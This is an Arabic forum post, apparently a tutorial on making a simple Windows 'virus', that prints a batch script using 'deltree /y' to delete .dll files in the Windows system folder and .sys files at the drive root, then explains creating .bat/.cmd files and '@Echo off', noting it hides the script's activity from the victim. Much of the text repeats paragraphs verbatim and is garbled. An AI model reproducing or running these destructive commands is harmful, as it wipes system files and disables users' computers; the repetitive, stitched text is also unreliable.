
كنت أتصفح بعض المواضيع القديمة بساحة التقنية و وجدت موضوع عن كيفية
صناعة فيروس كان من منقول أحد الأعضاء و به طريقة لصناعة فيروس بسيط
لذالك سأبدء به و بشرح عمل هذا الفيروس بالويندوس
أنقل لكم أوامر الفيروس
كود المصدر
- [align=center][size=14][FONT=Simplified Arabic][COLOR=black]@Echo off [/COLOR][/FONT][/SIZE]
- [size=14][FONT=Simplified Arabic][COLOR=black]c: [/COLOR][/FONT][/SIZE]
- [size=14][FONT=Simplified Arabic][COLOR=black]cd %WinDir%\System\ [/COLOR][/FONT][/SIZE]
- [size=14][FONT=Simplified Arabic][COLOR=black]deltree /y *.dll [/COLOR][/FONT][/SIZE]
- [size=14][FONT=Simplified Arabic][COLOR=black]cd\ [/COLOR][/FONT][/SIZE]
- [size=14][FONT=Simplified Arabic][COLOR=black]deltree /y *.sys [/COLOR][/FONT][/SIZE][/align]
أولا أوامر الدوس تنفذ على نوعين من السكاربتات
الأول سكاربت أو ملف بامتداد أو من نوع BAT
هذا الإمتداد يدعمه الويندوس مي و الويندوس ثمانية وتسعين
و أيضا الويندوس خمسة و تسعين و طبعا الويندوس ألفين و أكس بي
و ويندوس فيتسا
و أيضا الويندوس خمسة و تسعين و طبعا الويندوس ألفين و أكس بي
و ويندوس فيتسا
وهذا كما يظهر بشكله على الويندوس

الإمتداد الأخر هووه امتداد CMD لا يدعمه الويندوس القديم و يندوس 98 و ويندوس
مي و ويندوس خمسة و تسعين و هووه مدعوم من قبل الويندوس نت ويندوس 2000
و ويندوس أكسبي و الجديد فيتسا و هذا كما يظهر بشكله على الويندوس
مي و ويندوس خمسة و تسعين و هووه مدعوم من قبل الويندوس نت ويندوس 2000
و ويندوس أكسبي و الجديد فيتسا و هذا كما يظهر بشكله على الويندوس

كيف يمكن كتابة الأوامر بهذان السكاربتان ممكن أن ستخدم محرر المفكرة أو النوت باد لفتحه
الطريقة السريعة لهذه العملية هي كلك يمين على الملف ثم إختاير تحرير أو EDIT كما على
هذه الصورة التالية
الطريقة السريعة لهذه العملية هي كلك يمين على الملف ثم إختاير تحرير أو EDIT كما على
هذه الصورة التالية

من بعد يفح برنامج المفكرة محررا ملف السكاربت عليه
عندما نريد إدراج أوامر نقوم بكتابتها ثم نختار حفض من خيار المفكرة
لحفضها على ملف السكاربت
لحفضها على ملف السكاربت
لإنشاء ملف سكاربت جديد نفتح برنامج المفكرة نقوم بكتابة الأوامر
ثم تختار خيار خفض باسم SAVE AS يفتح خيار حفض باسم كما
على هذه الصورة
ثم تختار خيار خفض باسم SAVE AS يفتح خيار حفض باسم كما
على هذه الصورة

على خيار أو الحقل FILE NAME نكتب اسم السكاربت مع امتداده كما يظهر على الصورة
CMD.CMD الاسم CMD قبل النقطة و الإمتداد CMD بعد النقطة ثم من بعد نختار من
خيار SAVE AS TYPE أو من القائمة المنسدلة لهذا الخيار العبارة ALL FILES و أخيرا
نختار خيار حفض أو SAVE من بعد تحديد مكان الحفض من القائمة المنسدلة العلوية
بهذه الصورة و بذلك سيتم إنشاء سكاربت جديد من نوع سي أم دي CMD
CMD.CMD الاسم CMD قبل النقطة و الإمتداد CMD بعد النقطة ثم من بعد نختار من
خيار SAVE AS TYPE أو من القائمة المنسدلة لهذا الخيار العبارة ALL FILES و أخيرا
نختار خيار حفض أو SAVE من بعد تحديد مكان الحفض من القائمة المنسدلة العلوية
بهذه الصورة و بذلك سيتم إنشاء سكاربت جديد من نوع سي أم دي CMD
نبداء بشرح الفيروس السابق أولا ما هووه الفيروس عبارة عن أوامر برمجية توظف
توظيف سئ يعني مثل اوامر أي لغة برمجية طبعا الأوامر البرمجية تقوم بوظائف
متنوعة و مختلفة و دقيقة حتى أن بعض الأوامر البرمجية يمكنها تجاوز الجدار
الناري للويندوس او أي برنامج حماية طبعا تجاوز مشروع كما على خدمة فتح
بورت الأف تي بي بدون رسالة من الجدار الناري للويندوس عند فتحه لأول مرة
و طبعا الغرض من هذه الأوامر القيام بعمليات التي يؤديها البرنامج المتكامل و الذي
يتألف من مجموعة أوامر متعددة و متنوعة حسب الغرض الذي ينجزه هذا
البرنامج كيف يكون هذا الاستخدام السئ كمثال مثل البانزين يمكن أن يكون
مصدر لطاقة و مممكن أن يكون و سيلة لحرق منزل أو سيارة و نبدء بالشرح
توظيف سئ يعني مثل اوامر أي لغة برمجية طبعا الأوامر البرمجية تقوم بوظائف
متنوعة و مختلفة و دقيقة حتى أن بعض الأوامر البرمجية يمكنها تجاوز الجدار
الناري للويندوس او أي برنامج حماية طبعا تجاوز مشروع كما على خدمة فتح
بورت الأف تي بي بدون رسالة من الجدار الناري للويندوس عند فتحه لأول مرة
و طبعا الغرض من هذه الأوامر القيام بعمليات التي يؤديها البرنامج المتكامل و الذي
يتألف من مجموعة أوامر متعددة و متنوعة حسب الغرض الذي ينجزه هذا
البرنامج كيف يكون هذا الاستخدام السئ كمثال مثل البانزين يمكن أن يكون
مصدر لطاقة و مممكن أن يكون و سيلة لحرق منزل أو سيارة و نبدء بالشرح
@Echo off
Echo
يستخد هذا الأمر لطباعة عبارات أو كلمات على منفذ أوامر الدوس أرشادية مثلا
لمستخدم سكاربت الدوس و عند استخدام الأمر هذا مع الإضافة OFF@ فهذا يعني
تعطيل الرسائل التي يطبعها منفذ أوامر الدوس و الصادرة عن تنفيذ الأوامر المختلفة
عليه لأنها رسائل تخص مبرمج سكاربت الدوس تعطيه الأخطاء التي قام برتكابها
أو نتاج عملية تفيذ الأوامر التي برمجها لذلك لتجنب الثرثرة البرمجية أمام المستخدم
يتم تعطيل أغلب هذه الرسائل الصادرة عن تنفيذ الأوامر البرمجية و طبعا هذا مهم
أيضا في عملية صناعة فيروس تجنيب المستخدم كل ما يرشده لعمل هذا الفيروس
و أيضا يمكن تعطيل هذا الأمر بعد تفعيلة لو أردنا بإضافة بدل OFF نضيف ON
تجربة على الأمر نفتح سكاربت CMD جديد ثم ننسخ الكود التالي و نحفضه بهذا
السكاربت
يستخد هذا الأمر لطباعة عبارات أو كلمات على منفذ أوامر الدوس أرشادية مثلا
لمستخدم سكاربت الدوس و عند استخدام الأمر هذا مع الإضافة OFF@ فهذا يعني
تعطيل الرسائل التي يطبعها منفذ أوامر الدوس و الصادرة عن تنفيذ الأوامر المختلفة
عليه لأنها رسائل تخص مبرمج سكاربت الدوس تعطيه الأخطاء التي قام برتكابها
أو نتاج عملية تفيذ الأوامر التي برمجها لذلك لتجنب الثرثرة البرمجية أمام المستخدم
يتم تعطيل أغلب هذه الرسائل الصادرة عن تنفيذ الأوامر البرمجية و طبعا هذا مهم
أيضا في عملية صناعة فيروس تجنيب المستخدم كل ما يرشده لعمل هذا الفيروس
و أيضا يمكن تعطيل هذا الأمر بعد تفعيلة لو أردنا بإضافة بدل OFF نضيف ON
تجربة على الأمر نفتح سكاربت CMD جديد ثم ننسخ الكود التالي و نحفضه بهذا
السكاربت
ECHO .
ECHO .
ECHO .
ECHO hello world
pause
ECHO .
ECHO .
ECHO hello world
pause
و من بعد نشغل السكاربت ليتم كتابة عبارة hello world على منفذ أوامر الدوس ثم
من بعد نضغط اي مفتاح في لوحة المفاتيح لإقفال السكاربت سنلاحض بأن هناك
لخبطة و سطور مع هذه الكلمة لا داعي لها تخص المبرمج الآن سنستخدم تعطيل
الرسائل الصادرة عن تنفيذ الأوامر باستخدام أمر @Echo off كما على هذا الكود
من بعد نضغط اي مفتاح في لوحة المفاتيح لإقفال السكاربت سنلاحض بأن هناك
لخبطة و سطور مع هذه الكلمة لا داعي لها تخص المبرمج الآن سنستخدم تعطيل
الرسائل الصادرة عن تنفيذ الأوامر باستخدام أمر @Echo off كما على هذا الكود
@Echo off
ECHO .
ECHO .
ECHO .
ECHO hello world
ECHO .
ECHO .
ECHO .
pause
ECHO .
ECHO .
ECHO .
ECHO hello world
ECHO .
ECHO .
ECHO .
pause
سنلاحض بأن العبارة hello world تم كتابتها لوحدها و بدون لخبطة و مسارات
طبعا لتجربة هذا الكود تقوم بنسخه و حفضه على السكاربت ثم تشغيل السكاربت
بالنقر المزتوج عليه و لكن هناك رسالة لم يتم حذفها وهي
Press any key to continue . . .
طبعا لتجربة هذا الكود تقوم بنسخه و حفضه على السكاربت ثم تشغيل السكاربت
بالنقر المزتوج عليه و لكن هناك رسالة لم يتم حذفها وهي
Press any key to continue . . .
هذه رسالة تخص المستخدم وهي خاصة بامر توقيف القرائة pause مثل توقيف ملف
الفيديو على برنامج مادي بلير و كما يظهر الأمر بأخر الكود
الفيديو على برنامج مادي بلير و كما يظهر الأمر بأخر الكود
إنتهينا من هذا الأمر
و لهذا الموضوع بقية اليوم إن شاء الله